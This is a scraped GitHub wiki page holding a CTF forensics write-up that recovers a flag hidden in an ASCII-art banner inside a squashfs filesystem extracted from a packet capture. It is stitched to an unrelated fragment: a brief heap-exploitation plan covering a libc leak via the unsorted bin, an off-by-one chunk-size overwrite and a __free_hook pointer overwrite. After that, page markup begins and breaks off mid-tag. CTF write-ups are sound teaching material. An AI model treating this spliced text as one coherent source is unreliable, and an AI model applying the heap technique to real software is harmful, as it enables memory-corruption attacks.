<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Off-The-Grid/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Strange Traffic</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Strange-Traffic/_toc"> </include-fragment></details>
</div></div>
</div>
<h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small color-fg-muted input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/not1cyyy/CTF-Writeups.wiki.git" readonly> <span> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" data-view-component="true" class="btn btn-sm zeroclipboard-button"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg style="display: none;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check color-fg-success"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg></clipboard-copy> </span> </div> </div></div> <div data-view-component="true" class="Layout-main"> <div id="wiki-body" class="gollum-markdown-content"> <div class="markdown-body"> <h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description</h1>I was told to find the secret message being sent over this packet capture, but I'm stumped. I've been told it has been hidden in some banner? Can you figure it out?Note: this is not related to an http banner<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Hints</h2>Packet #4755 looks interesting...The tool binwalk will be useful<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Files</h2>banner.pcapng<h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Solution</h1><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Recon</h2>pcap files are always sus :3 use wireshark<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Execution</h2>As intuitive as it may sound, I went ahead and opened the file with wiresharkWell just to clarify : when I solved this challenge there were no hints provided, so I solved it in the following way :After analyzing the packet capture a bit i went ahead and filtered the http requests :I saw an http get request so I extracted it in raw :now I tried to extract some data from the output file using binwalk and the result was a file system under the name squashfs-root :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root] - [mar. mai 17, 22:28]└─[$] <> lsbin etc mnt proc root sys usr wwwdev lib overlay rom sbin tmp var">┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root] - [mar. mai 17, 22:28]└─[$] <> lsbin etc mnt proc root sys usr wwwdev lib overlay rom sbin tmp var</div>now since the challenge name is "banner" I tried to find any file with that name so I ran the command find . -name "banner" and here is the result :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root] - [mar. mai 17, 22:31]└─[$] <> find . -name "banner" ./etc/banner">┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root] - [mar. mai 17, 22:31]└─[$] <> find . -name "banner" ./etc/banner</div>so I accessed the etc directory and ran cat against the file named "banner" :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root/etc] - [mar. mai 17, 22:32]└─[$] <> cat banner ad888 888ba 88888888ba ,ad8888ba, 888888888888 88888888888 88' 88 ad888888b, 88 88 88 ad888888b, ad888888b, `88 88 "8b d8"' `"8b 88 88 88 "" ,d ,d d8" "88 88 ,d88 88 d8" "88 d8" "88 ,d 88 88 ,8P d8' 88 88 88 88 88 a8P 88 888888 88 a8P a8P 88 88 88aaaaaa8P' 88 88 88aaaaa ,8P 88 88 88 ,adPPYba, MM88MMM ,adPPYYba, MM88MMM aad8" ,adPPYba, 88,dPPYba, 88 ,adPPYba, 88 ,d8 aad8" 8b,dPPYba, 8b,dPPYba, 88 88 ,adPPYb,d8 ,adPPYb,d8 aad8" MM88MMM ,adPPYba, Y8, 88""""""' 88 88 88""""" 88( 88 88 88 I8[ "" 88 "" `Y8 88 ""Y8, a8" "" 88P' "8a 88 a8" "" 88 ,a8" ""Y8, 88P' `"8a 88P' `"8a 88 88 a8" `Y88 a8" `Y88 ""Y8, 88 I8[ "" )88 88 Y8, 88 88 "8b 88 88 88 `"Y8ba, 88 ,adPPPPP88 88 "8b 8b 88 88 88 8b 8888[ "8b 88 88 88 88 88 88 8b 88 8b 88 "8b 88 `"Y8ba, d8" 88 Y8a. .a8P 88 88 88 88 "8a, ,a88 aa ]8I 88, 88, ,88 88, Y8, a88 "8a, ,aa 88 88 88 "8a, ,aa 88`"Yba, Y8, a88 88 88 88 88 "8a, ,a88 "8a, ,d88 "8a, ,d88 Y8, a88 88, aa ]8I 88 88 `"Y8888Y"' 88 88 88 88 `"YbbdP'Y8 `"YbbdP"' "Y888 `"8bbdP"Y8 "Y888 "Y888888P' `"Ybbd8"' 88 88 88 `"Ybbd8"' 88 `Y8a "Y888888P' 88 88 88 88 `"YbbdP'Y8 `"YbbdP"Y8 `"YbbdP"Y8 "Y888888P' "Y888 `"YbbdP"' 88 88, ,88 aa, ,88 aa, ,88 ,88 "Y888 888P" 888888888888 888888888888 888888888888 "Y8bbdP" "Y8bbdP" 888P" ">┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/banner_FINISHED/_tcpdump.extracted/squashfs-root/etc] - [mar. mai 17, 22:32]└─[$] <> cat banner ad888 888ba 88888888ba ,ad8888ba, 888888888888 88888888888 88' 88 ad888888b, 88 88 88 ad888888b, ad888888b, `88 88 "8b d8"' `"8b 88 88 88 "" ,d ,d d8" "88 88 ,d88 88 d8" "88 d8" "88 ,d 88 88 ,8P d8' 88 88 88 88 88 a8P 88 888888 88 a8P a8P 88 88 88aaaaaa8P' 88 88 88aaaaa ,8P 88 88 88 ,adPPYba, MM88MMM ,adPPYYba, MM88MMM aad8" ,adPPYba, 88,dPPYba, 88 ,adPPYba, 88 ,d8 aad8" 8b,dPPYba, 8b,dPPYba, 88 88 ,adPPYb,d8 ,adPPYb,d8 aad8" MM88MMM ,adPPYba, Y8, 88""""""' 88 88 88""""" 88( 88 88 88 I8[ "" 88 "" `Y8 88 ""Y8, a8" "" 88P' "8a 88 a8" "" 88 ,a8" ""Y8, 88P' `"8a 88P' `"8a 88 88 a8" `Y88 a8" `Y88 ""Y8, 88 I8[ "" )88 88 Y8, 88 88 "8b 88 88 88 `"Y8ba, 88 ,adPPPPP88 88 "8b 8b 88 88 88 8b 8888[ "8b 88 88 88 88 88 88 8b 88 8b 88 "8b 88 `"Y8ba, d8" 88 Y8a. .a8P 88 88 88 88 "8a, ,a88 aa ]8I 88, 88, ,88 88, Y8, a88 "8a, ,aa 88 88 88 "8a, ,aa 88`"Yba, Y8, a88 88 88 88 88 "8a, ,a88 "8a, ,d88 "8a, ,d88 Y8, a88 88, aa ]8I 88 88 `"Y8888Y"' 88 88 88 88 `"YbbdP'Y8 `"YbbdP"' "Y888 `"8bbdP"Y8 "Y888 "Y888888P' `"Ybbd8"' 88 88 88 `"Ybbd8"' 88 `Y8a "Y888888P' 88 88 88 88 `"YbbdP'Y8 `"YbbdP"Y8 `"YbbdP"Y8 "Y888888P' "Y888 `"YbbdP"' 88 88, ,88 aa, ,88 aa, ,88 ,88 "Y888 888P" 888888888888 888888888888 888888888888 "Y8bbdP" "Y8bbdP" 888P" </div>At first it may seem like random gibberish but by zooming out of the terminal you'll see the flag !<h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag</h1>PCTF{just_at3_ch1ck3n_nugg3ts}
I was told to find the secret message being sent over this packet capture, but I'm stumped. I've been told it has been hidden in some banner? Can you figure it out?
Note: this is not related to an http banner
banner.pcapng
As intuitive as it may sound, I went ahead and opened the file with wireshark
Well just to clarify : when I solved this challenge there were no hints provided, so I solved it in the following way :
After analyzing the packet capture a bit i went ahead and filtered the http requests :
I saw an http get request so I extracted it in raw :
now I tried to extract some data from the output file using binwalk and the result was a file system under the name squashfs-root :
now since the challenge name is "banner" I tried to find any file with that name so I ran the command find . -name "banner" and here is the result :
so I accessed the etc directory and ran cat against the file named "banner" :
At first it may seem like random gibberish but by zooming out of the terminal you'll see the flag !
PCTF{just_at3_ch1ck3n_nugg3ts}
</div>
</div></div></div> </div> </div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
The plan:
* Create a chunk > 0x408 and free it to send to unsorted bin and leak libc.* Use 'off by one' bug to change next chunk size.* Now you can overwrite the forward pointer of the other next chunk with __free_hook |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 